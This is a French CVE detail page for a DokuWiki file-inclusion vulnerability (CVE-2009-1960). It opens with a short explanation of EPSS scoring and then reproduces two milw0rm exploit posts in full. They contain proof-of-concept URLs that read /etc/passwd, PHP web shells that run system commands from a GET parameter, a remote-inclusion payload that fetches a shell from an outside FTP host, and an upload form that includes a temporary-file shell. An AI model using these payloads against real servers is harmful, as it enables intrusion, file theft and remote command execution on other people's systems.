CVE-2009-1960 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Author_ girex # Homepage_ girex.altervista.org # CMS_ Dokuwiki # Homepage_ dokuwiki.org # Affected versions_ 2009-02-14 rc2009-02-06 rc2009-01-30 # Bug_ Local file inclusion # Need_ register_globals = On # Vuln description_ # File: /inc/init.php // if available load a preload config file $preload = fullpath(dirname(__FILE__)).'/preload.php'; if (@file_exists($preload)) include($preload); ... //set the configuration cascade - but only if its not already been set in preload.php global $config_cascade; if (empty($config_cascade)) { $config_cascade = array( 'main' => array( 'default' => array(DOKU_CONF.'dokuwiki.php'), 'local' => array(DOKU_CONF.'local.php'), 'protected' => array(DOKU_CONF.'local.protected.php'), ), ... // load the global config file(s) foreach (array('default','local','protected') as $config_group) { if (empty($config_cascade['main'][$config_group])) continue; foreach ($config_cascade['main'][$config_group] as $config_file) { if (@file_exists($config_file)) { include($config_file); } } } # File preload.php doesn't exists. (so seems for the affected versions) # So we can set $config_cascade arrays via register globals # It's not a RFI couse use of file_exists function. # First of all you can check the dokuwiki's version here: # /[host]/[path]/VERSION # and check if it's a vulnerable version # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README # Note: # You can obtain a remote command execution if you can edit the content of a page # Just insert your php code into it like: <?php system($_GET[cmd]); ?> # And include it: # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt # Or you can check if you have permissions to upload file via: # [host]/[path]/lib/exe/mediamanager.php # If so, upload your file with .doc extension then include it: # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc # milw0rm.com [2009-05-26]

Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit tested and working I was reading: http://www.milw0rm.com/exploits/8781 by girex [quote] It's not a RFI couse use of file_exists function. [/quote] How wrong brother! trick 1 (ftp:// wrapper with php 5): needs register_globals = on allow_url_fopen = On (default) allow_url_include = On (not default) http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt trick 2: needs register_globals = on file_uploads = On (default) include a temporary file passed by the $_FILES[] array: <form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self"> <input name="config_cascade[main][default][]" type="file"> <input type="submit" value="submit"> </form> where your shell is like: <?php passthru($_GET[cmd]); die();?> because when there is no prefix or suffix for the affected var, it remains like this: /path_to_temporary_folder/php93.tmp ! Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ # milw0rm.com [2009-05-26]